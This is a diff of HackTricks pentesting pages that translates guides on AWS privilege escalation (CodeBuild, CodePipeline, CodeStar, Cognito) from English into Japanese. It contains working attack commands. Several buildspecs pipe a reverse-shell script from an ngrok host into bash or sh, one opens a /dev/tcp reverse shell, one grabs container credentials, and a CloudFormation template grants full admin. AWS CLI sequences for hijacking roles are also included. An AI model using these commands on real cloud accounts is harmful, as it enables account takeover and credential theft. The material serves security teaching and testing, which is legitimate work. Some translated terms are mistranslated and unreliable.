(`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token - +前のセクションと同様に、ビルドプロジェクトを作成する代わりに修正できる場合、IAMロールを指定してトークンを盗むことができます。 ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -171,20 +162,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" printf "$JSON" > $REV_PATH @@ -193,16 +184,14 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**潜在的影響:** どのAWS Codebuildロールへの直接的な権限昇格。 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**. +前のセクションと同様ですが、**`iam:PassRole`権限なしで**、この権限を悪用して**既存のCodebuildプロジェクトを変更し、既に割り当てられているロールにアクセスすることができます**。 {{#tabs }} {{#tab name="StartBuild" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -213,20 +202,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" # Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild! @@ -237,11 +226,9 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -250,20 +237,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"project_name\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"project_name\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" printf "$JSON" > $REV_PATH @@ -274,41 +261,37 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build-batch --project-name codebuild-demo-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**潜在的影響:** 添付されたAWS Codebuildロールへの直接的な権限昇格。 ### SSM -Having **enough permissions to start a ssm session** it's possible to get **inside a Codebuild project** being built. +**SSMセッションを開始するのに十分な権限があれば、**ビルド中の**Codebuildプロジェクトに入ることが可能です。** -The codebuild project will need to have a breakpoint: +Codebuildプロジェクトにはブレークポイントが必要です： 
phases:
-  pre_build:
-    commands:
-      - echo Entered the pre_build phase...
-      - echo "Hello World" > /tmp/hello-world
+pre_build:
+commands:
+- echo Entered the pre_build phase...
+- echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
-And then: - +そして： ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` - -For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +For more info [**ドキュメントを確認してください**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -An attacker able to start/restart a build of a specific CodeBuild project which stores its `buildspec.yml` file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process. - -Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker. +特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者が、その`buildspec.yml`ファイルを攻撃者が書き込みアクセスを持つS3バケットに保存している場合、CodeBuildプロセスでコマンド実行を取得できます。 +注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。おそらく、より特権のある役割です。 ```bash aws s3 cp s3:///buildspec.yml ./ @@ -325,29 +308,22 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` - -You can use something like this **buildspec** to get a **reverse shell**: - +あなたはこのような**buildspec**を使用して**reverse shell**を取得できます： ```yaml:buildspec.yml version: 0.2 phases: - build: - commands: - - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 +build: +commands: +- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` - -**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges. +**影響:** 通常高い権限を持つAWS CodeBuildワーカーによって使用されるロールへの直接的な権限昇格。 > [!WARNING] -> Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload +> buildspecはzip形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリから`buildspec.yml`を修正し、再度zip化してアップロードする必要があります。 -More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +詳細は[こちら](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)で確認できます。 -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**潜在的な影響:** 添付されたAWS Codebuildロールへの直接的な権限昇格。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 0662ae9e2..2c7ceb8d0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -4,7 +4,7 @@ ## codepipeline -For more info about codepipeline check: +Codepipelineに関する詳細情報は以下を確認してください: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,13 +12,13 @@ For more info about codepipeline check: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them. +コードパイプラインを作成する際に、**実行するためのcodepipeline IAMロールを指定**できます。したがって、それらを侵害することができます。 -Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...) +前述の権限に加えて、**コードが保存されている場所へのアクセスが必要**です（S3、ECR、github、bitbucket...）。 -I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +私はこのプロセスをウェブページでテストしましたが、前述の権限はコードパイプラインを作成するために必要なList/Get権限ではありませんが、ウェブで作成するためには次の権限も必要です: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise: +**ビルドプロジェクトの作成中**に、**実行するコマンド**（rev shell?）を指定し、**特権ユーザー**としてビルドフェーズを実行することができます。これが攻撃者が侵害するために必要な設定です: ![](<../../../images/image (276).png>) @@ -26,16 +26,12 @@ During the **creation of the build project** you can indicate a **command to run ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions. +前述の権限を使用して、コードパイプラインで使用されるロールや実行されるコマンドを変更することが可能かもしれません。 ### `codepipeline:pollforjobs` -[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): +[AWSは次のように述べています](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): -> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**. +> このAPIが呼び出されると、CodePipelineは**パイプラインのアーティファクトを保存するために使用されるS3バケットの一時的な資格情報を返します**。アクションがそのS3バケットへの入力または出力アーティファクトへのアクセスを必要とする場合です。このAPIはまた、**アクションのために定義された任意の秘密の値を返します**。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 387c6ffff..5ac398d4c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -4,7 +4,7 @@ ## Codestar -You can find more information about codestar in: +Codestarに関する詳細情報は以下で確認できます： {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page: +これらの権限を使用すると、**cloudformationテンプレート**を介して**任意のアクション**を実行するために**codestar IAMロールを悪用**できます。以下のページを確認してください： {{#ref}} iam-passrole-codestar-createproject.md @@ -20,14 +20,13 @@ iam-passrole-codestar-createproject.md ### `codestar:CreateProject`, `codestar:AssociateTeamMember` -This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**. - +この技術は、`codestar:CreateProject`を使用してcodestarプロジェクトを作成し、`codestar:AssociateTeamMember`を使用してIAMユーザーを新しいCodeStar **プロジェクト**の**オーナー**にすることで、**いくつかの追加権限を持つ新しいポリシー**を付与します。 ```bash PROJECT_NAME="supercodestar" aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME +--name $PROJECT_NAME \ +--id $PROJECT_NAME echo "Waiting 1min to start the project" sleep 60 @@ -35,15 +34,14 @@ sleep 60 USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"') aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ - --project-id $PROJECT_NAME \ - --user-arn "$USER_ARN" \ - --project-role "Owner" \ - --remote-access-allowed +--project-id $PROJECT_NAME \ +--user-arn "$USER_ARN" \ +--project-role "Owner" \ +--remote-access-allowed ``` +もしあなたがすでに**プロジェクトのメンバー**であれば、権限**`codestar:UpdateTeamMember`**を使用して**役割をオーナーに更新**できます。`codestar:AssociateTeamMember`の代わりに。 -If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember` - -**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in: +**潜在的な影響:** codestarポリシーへのプライベートエスカレーション。以下のポリシーの例を見つけることができます。 {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -51,27 +49,23 @@ codestar-createproject-codestar-associateteammember.md ### `codestar:CreateProjectFromTemplate` -1. **Create a New Project:** - - Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project. - - Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**. - - This access specifically targets a stack associated with the `CodeStarWorker--CloudFormation` IAM role. -2. **Update the Target Stack:** - - With the granted CloudFormation permissions, proceed to update the specified stack. - - The stack's name will typically conform to one of two patterns: - - `awscodestar--infrastructure` - - `awscodestar--lambda` - - The exact name depends on the chosen template (referencing the example exploit script). -3. **Access and Permissions:** - - Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack. - - Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further. +1. **新しいプロジェクトを作成:** +- **`codestar:CreateProjectFromTemplate`**アクションを利用して新しいプロジェクトの作成を開始します。 +- 成功裏に作成されると、**`cloudformation:UpdateStack`**へのアクセスが自動的に付与されます。 +- このアクセスは、`CodeStarWorker--CloudFormation` IAMロールに関連付けられたスタックを特に対象とします。 +2. **ターゲットスタックを更新:** +- 付与されたCloudFormation権限を使用して、指定されたスタックを更新します。 +- スタックの名前は通常、次の2つのパターンのいずれかに従います: +- `awscodestar--infrastructure` +- `awscodestar--lambda` +- 正確な名前は選択したテンプレートに依存します（例のエクスプロイトスクリプトを参照）。 +3. **アクセスと権限:** +- 更新後、スタックに関連付けられた**CloudFormation IAMロール**に割り当てられた機能を取得します。 +- 注意: これは本質的に完全な管理者権限を提供するものではありません。権限をさらに昇格させるためには、環境内の追加の誤設定されたリソースが必要になる場合があります。 -For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) +詳細については、元の研究を確認してください: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/)。\ +エクスプロイトは[https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)で見つけることができます。 -**Potential Impact:** Privesc to cloudformation IAM role. +**潜在的な影響:** cloudformation IAMロールへのプライベートエスカレーション。 {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md index 0de95738e..0a32f6f6f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md @@ -2,84 +2,78 @@ {{#include ../../../../banners/hacktricks-training.md}} -This is the created policy the user can privesc to (the project name was `supercodestar`): - +これは、ユーザーが昇格できる作成されたポリシーです（プロジェクト名は `supercodestar` でした）： ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "1", - "Effect": "Allow", - "Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], - "Resource": [ - "arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", - "arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", - "arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" - ] - }, - { - "Sid": "2", - "Effect": "Allow", - "Action": [ - "codestar:DescribeUserProfile", - "codestar:ListProjects", - "codestar:ListUserProfiles", - "codestar:VerifyServiceRole", - "cloud9:DescribeEnvironment*", - "cloud9:ValidateEnvironmentName", - "cloudwatch:DescribeAlarms", - "cloudwatch:GetMetricStatistics", - "cloudwatch:ListMetrics", - "codedeploy:BatchGet*", - "codedeploy:List*", - "codestar-connections:UseConnection", - "ec2:DescribeInstanceTypeOfferings", - "ec2:DescribeInternetGateways", - "ec2:DescribeNatGateways", - "ec2:DescribeRouteTables", - "ec2:DescribeSecurityGroups", - "ec2:DescribeSubnets", - "ec2:DescribeVpcs", - "events:ListRuleNamesByTarget", - "iam:GetAccountSummary", - "iam:GetUser", - "iam:ListAccountAliases", - "iam:ListRoles", - "iam:ListUsers", - "lambda:List*", - "sns:List*" - ], - "Resource": ["*"] - }, - { - "Sid": "3", - "Effect": "Allow", - "Action": [ - "codestar:*UserProfile", - "iam:GenerateCredentialReport", - "iam:GenerateServiceLastAccessedDetails", - "iam:CreateAccessKey", - "iam:UpdateAccessKey", - "iam:DeleteAccessKey", - "iam:UpdateSSHPublicKey", - "iam:UploadSSHPublicKey", - "iam:DeleteSSHPublicKey", - "iam:CreateServiceSpecificCredential", - "iam:UpdateServiceSpecificCredential", - "iam:DeleteServiceSpecificCredential", - "iam:ResetServiceSpecificCredential", - "iam:Get*", - "iam:List*" - ], - "Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "1", +"Effect": "Allow", +"Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], +"Resource": [ +"arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", +"arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", +"arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" +] +}, +{ +"Sid": "2", +"Effect": "Allow", +"Action": [ +"codestar:DescribeUserProfile", +"codestar:ListProjects", +"codestar:ListUserProfiles", +"codestar:VerifyServiceRole", +"cloud9:DescribeEnvironment*", +"cloud9:ValidateEnvironmentName", +"cloudwatch:DescribeAlarms", +"cloudwatch:GetMetricStatistics", +"cloudwatch:ListMetrics", +"codedeploy:BatchGet*", +"codedeploy:List*", +"codestar-connections:UseConnection", +"ec2:DescribeInstanceTypeOfferings", +"ec2:DescribeInternetGateways", +"ec2:DescribeNatGateways", +"ec2:DescribeRouteTables", +"ec2:DescribeSecurityGroups", +"ec2:DescribeSubnets", +"ec2:DescribeVpcs", +"events:ListRuleNamesByTarget", +"iam:GetAccountSummary", +"iam:GetUser", +"iam:ListAccountAliases", +"iam:ListRoles", +"iam:ListUsers", +"lambda:List*", +"sns:List*" +], +"Resource": ["*"] +}, +{ +"Sid": "3", +"Effect": "Allow", +"Action": [ +"codestar:*UserProfile", +"iam:GenerateCredentialReport", +"iam:GenerateServiceLastAccessedDetails", +"iam:CreateAccessKey", +"iam:UpdateAccessKey", +"iam:DeleteAccessKey", +"iam:UpdateSSHPublicKey", +"iam:UploadSSHPublicKey", +"iam:DeleteSSHPublicKey", +"iam:CreateServiceSpecificCredential", +"iam:UpdateServiceSpecificCredential", +"iam:DeleteServiceSpecificCredential", +"iam:ResetServiceSpecificCredential", +"iam:Get*", +"iam:List*" +], +"Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] +} +] } ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 891d72df5..e75a28c33 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -2,42 +2,39 @@ {{#include ../../../../banners/hacktricks-training.md}} -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. - -To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**: +これらの権限を使用すると、**codestar IAMロールを悪用**して、**cloudformationテンプレート**を介して**任意のアクション**を実行できます。 +これを悪用するには、攻撃されたアカウントから**アクセス可能なS3バケット**を作成する必要があります。`toolchain.json`という名前のファイルをアップロードします。このファイルには、**cloudformationテンプレートのエクスプロイト**が含まれている必要があります。次のものを使用して、あなたの管理下にあるユーザーにマネージドポリシーを設定し、**管理者権限を付与**できます： ```json:toolchain.json { - "Resources": { - "supercodestar": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "ManagedPolicyName": "CodeStar_supercodestar", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "*", - "Resource": "*" - } - ] - }, - "Users": [""] - } - } - } +"Resources": { +"supercodestar": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"ManagedPolicyName": "CodeStar_supercodestar", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +}, +"Users": [""] +} +} +} } ``` - -Also **upload** this `empty zip` file to the **bucket**: +また、この `empty zip` ファイルを **bucket** に **upload** してください： {% file src="../../../../images/empty.zip" %} -Remember that the **bucket with both files must be accessible by the victim account**. - -With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project: +**victim account** から両方のファイルにアクセスできる **bucket** であることを忘れないでください。 +両方のファイルを **upload** したら、**codestar** プロジェクトを作成して **exploitation** に進むことができます： ```bash PROJECT_NAME="supercodestar" @@ -45,19 +42,19 @@ PROJECT_NAME="supercodestar" ## In this JSON the bucket and key (path) to the empry.zip file is used SOURCE_CODE_PATH="/tmp/surce_code.json" SOURCE_CODE="[ - { - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"empty.zip\" - } - }, - \"destination\": { - \"codeCommit\": { - \"name\": \"$PROJECT_NAME\" - } - } - } +{ +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"empty.zip\" +} +}, +\"destination\": { +\"codeCommit\": { +\"name\": \"$PROJECT_NAME\" +} +} +} ]" printf "$SOURCE_CODE" > $SOURCE_CODE_PATH @@ -65,28 +62,23 @@ printf "$SOURCE_CODE" > $SOURCE_CODE_PATH ## In this JSON the bucket and key (path) to the toolchain.json file is used TOOLCHAIN_PATH="/tmp/tool_chain.json" TOOLCHAIN="{ - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"toolchain.json\" - } - }, - \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"toolchain.json\" +} +}, +\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" }" printf "$TOOLCHAIN" > $TOOLCHAIN_PATH # Create the codestar project that will use the cloudformation epxloit to privesc aws codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME \ - --source-code file://$SOURCE_CODE_PATH \ - --toolchain file://$TOOLCHAIN_PATH +--name $PROJECT_NAME \ +--id $PROJECT_NAME \ +--source-code file://$SOURCE_CODE_PATH \ +--toolchain file://$TOOLCHAIN_PATH ``` - -This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user. +このエクスプロイトは、**これらの権限のPacuエクスプロイト**に基づいています: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) ここでは、ユーザーではなくロールのために管理されたポリシーを作成するバリエーションを見つけることができます。 {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index ddd0c1efd..e9a1da7a6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -4,28 +4,27 @@ ## Cognito -For more info about Cognito check: +Cognitoに関する詳細情報は以下を確認してください： {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Gathering credentials from Identity Pool +### アイデンティティプールからの資格情報の収集 -As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously). +Cognitoは**認証済み**および**未認証**の**ユーザー**に**IAMロールの資格情報**を付与できるため、アプリケーションの**アイデンティティプールID**を特定できれば（アプリケーションにハードコーディングされているはずです）、新しい資格情報を取得でき、したがって権限昇格が可能です（おそらく以前は資格情報を持っていなかったAWSアカウント内で）。 -For more information [**check this page**](../aws-unauthenticated-enum-access/#cognito). +詳細については[**このページを確認してください**](../aws-unauthenticated-enum-access/#cognito)。 -**Potential Impact:** Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users). +**潜在的な影響：** 未認証ユーザーに付与されたサービスロールへの直接的な権限昇格（おそらく認証済みユーザーに付与されたものにも）。 ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` -With this permission you can **grant any cognito role** to the authenticated/unauthenticated users of the cognito app. - +この権限を使用すると、Cognitoアプリの認証済み/未認証ユーザーに**任意のCognitoロール**を付与できます。 ```bash aws cognito-identity set-identity-pool-roles \ - --identity-pool-id \ - --roles unauthenticated= +--identity-pool-id \ +--roles unauthenticated= # Get credentials ## Get one ID @@ -33,286 +32,243 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90 ## Get creds for that id aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ``` +もしCognitoアプリが**未認証ユーザーを有効にしていない**場合、これを有効にするために`cognito-identity:UpdateIdentityPool`の権限も必要になるかもしれません。 -If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it. - -**Potential Impact:** Direct privesc to any cognito role. 